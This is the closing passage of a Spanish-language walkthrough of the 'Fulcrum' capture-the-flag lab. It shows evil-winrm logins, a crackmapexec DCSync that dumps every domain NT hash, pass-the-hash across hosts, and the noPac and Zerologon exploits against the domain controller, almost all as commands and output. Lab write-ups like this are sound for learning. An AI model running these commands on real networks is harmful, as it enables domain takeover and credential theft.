SMB         dc.fulcrum.local 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)  
SMB         dc.fulcrum.local 445    DC               [+] fulcrum.local\923a:@fulcrum_bf392748ef4e_$ (Pwn3d!)

Podemos conectarnos como este usuario con evil-winrm y leer la ultima flag de root

❯ proxychains -q evil-winrm -i dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$  
PS C:\Users\923a\Documents> whoami
fulcrum\923a
PS C:\Users\923a\Documents> type C:\Users\Administrator\Desktop\root.txt
8dd**************************cab
PS C:\Users\923a\Documents>


Shell - Administrator


Si quisieramos una shell especificamente como Administrator usando la credencial de 923a podemos hacer un DCSync para ver los hashes NT de todos los usuarios

❯ proxychains -q crackmapexec smb dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$ --ntds drsuapi
SMB         dc.fulcrum.local 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)  
SMB         dc.fulcrum.local 445    DC               [+] fulcrum.local\923a:@fulcrum_bf392748ef4e_$ (Pwn3d!)
SMB         dc.fulcrum.local 445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc.fulcrum.local 445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:17ac19e99e0d2140a9162c97414ceb43:::
SMB         dc.fulcrum.local 445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc.fulcrum.local 445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:30dd0b7d7f91ca7b1ec413871f095c64:::
SMB         dc.fulcrum.local 445    DC               ldap:1103:aad3b435b51404eeaad3b435b51404ee:a97c08ac07aa5f9a2fd85c8557cb5934:::
SMB         dc.fulcrum.local 445    DC               923a:1104:aad3b435b51404eeaad3b435b51404ee:57cecc4c6320e7a5739ef24ea54ae6b4:::
SMB         dc.fulcrum.local 445    DC               BTables:1105:aad3b435b51404eeaad3b435b51404ee:35f6c3ebbd5fb321ab9b312177ac63cf:::
SMB         dc.fulcrum.local 445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:d1c6ccdaaf3c22126e7f9f49a5b8ecec:::
SMB         dc.fulcrum.local 445    DC               FILE$:1106:aad3b435b51404eeaad3b435b51404ee:7d766e4328b3a15d562ea8f319b34788:::

Usando este hash ya que el usuario es administrador del dominio podemos ejecutar comandos en cualquiera de los equipos como el usuario Administrator

❯ proxychains -q crackmapexec winrm 192.168.122.130-132 -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43 -d fulcrum.local -x whoami  
HTTP        dc.fulcrum.local   5985   DC             [*] http://dc.fulcrum.local:5985/wsman
WINRM       dc.fulcrum.local   5985   DC             [+] fulcrum.local\Administrator:17ac19e99e0d2140a9162c97414ceb43 (Pwn3d!)
WINRM       dc.fulcrum.local   5985   DC             [+] Executed command
WINRM       dc.fulcrum.local   5985   DC             fulcrum\administrator
HTTP        file.fulcrum.local 5985   FILE           [*] http://file.fulcrum.local:5985/wsman
WINRM       file.fulcrum.local 5985   FILE           [+] fulcrum.local\Administrator:17ac19e99e0d2140a9162c97414ceb43 (Pwn3d!)
WINRM       file.fulcrum.local 5985   FILE           [+] Executed command
WINRM       file.fulcrum.local 5985   FILE           fulcrum\administrator

Nuevamente nos conectamos con evil-winrm pero esta vez como Administrator

❯ proxychains -q evil-winrm -i dc.fulcrum.local -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43  
PS C:\Users\Administrator\Documents> whoami
fulcrum\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
8dd**************************cab
PS C:\Users\Administrator\Documents>


Extra 1 - Administrator


Como alternativa podemos usar noPac, al explotarlo indicando el parametro -shell nos otorgara una cmd como el usuario nt authority\system directamente en el DC

❯ proxychains -q python3 noPac.py fulcrum.local/BTables:++FileServerLogon12345++ -use-ldap -shell -dc-ip 192.168.122.130  

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target dc.fulcrum.local
[*] Total Domain Admins 2
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-N0JHJWWMXPH$"
[*] MachineAccount "WIN-N0JHJWWMXPH$" password = DeDK5PKgLW3Y
[*] Successfully added machine account WIN-N0JHJWWMXPH$ with password DeDK5PKgLW3Y.
[*] WIN-N0JHJWWMXPH$ object = CN=WIN-N0JHJWWMXPH,CN=Computers,DC=fulcrum,DC=local
[*] WIN-N0JHJWWMXPH$ sAMAccountName == dc
[*] Saving a DC's ticket in dc.ccache
[*] Reseting the machine account to WIN-N0JHJWWMXPH$
[*] Restored WIN-N0JHJWWMXPH$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_dc.fulcrum.local.ccache
[*] Attempting to del a computer with the name: WIN-N0JHJWWMXPH$
[-] Delete computer WIN-N0JHJWWMXPH$ Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

C:\Windows\system32>


Extra 2 - Administrator


Como alternativa podemos ejecutar la vuln de zerologon hacia el DC, el servidor es vulnerable y logramos cambiar la contraseña del equipo por una cadena vacia

❯ proxychains -q python3 cve-2020-1472-exploit.py DC 192.168.122.130
Performing authentication attempts...
==========================================================================  
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Autenticandonos como el propio equipo DC$ con una cadena vacia como contraseña podemos hacer un DCSync y ver los hashes NT de todos los usuarios del dominio

❯ proxychains -q crackmapexec smb dc.fulcrum.local -u DC$ -p '' --ntds drsuapi
SMB         dc.fulcrum.local 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)  
SMB         dc.fulcrum.local 445    DC               [+] fulcrum.local\DC$: 
SMB         dc.fulcrum.local 445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         dc.fulcrum.local 445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc.fulcrum.local 445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:17ac19e99e0d2140a9162c97414ceb43:::
SMB         dc.fulcrum.local 445    DC               Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc.fulcrum.local 445    DC               krbtgt:502:aad3b435b51404eeaad3b435b51404ee:30dd0b7d7f91ca7b1ec413871f095c64:::
SMB         dc.fulcrum.local 445    DC               ldap:1103:aad3b435b51404eeaad3b435b51404ee:a97c08ac07aa5f9a2fd85c8557cb5934:::
SMB         dc.fulcrum.local 445    DC               923a:1104:aad3b435b51404eeaad3b435b51404ee:57cecc4c6320e7a5739ef24ea54ae6b4:::
SMB         dc.fulcrum.local 445    DC               BTables:1105:aad3b435b51404eeaad3b435b51404ee:35f6c3ebbd5fb321ab9b312177ac63cf:::
SMB         dc.fulcrum.local 445    DC               DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         dc.fulcrum.local 445    DC               FILE$:1106:aad3b435b51404eeaad3b435b51404ee:63e803f4a9c87acfd3e7648bf414e014:::

Simplemente nos conectamos con evil-winrm como el usuario Administrator

❯ proxychains -q evil-winrm -i dc.fulcrum.local -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43  
PS C:\Users\Administrator\Documents> whoami
fulcrum\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
8dd**************************cab
PS C:\Users\Administrator\Documents>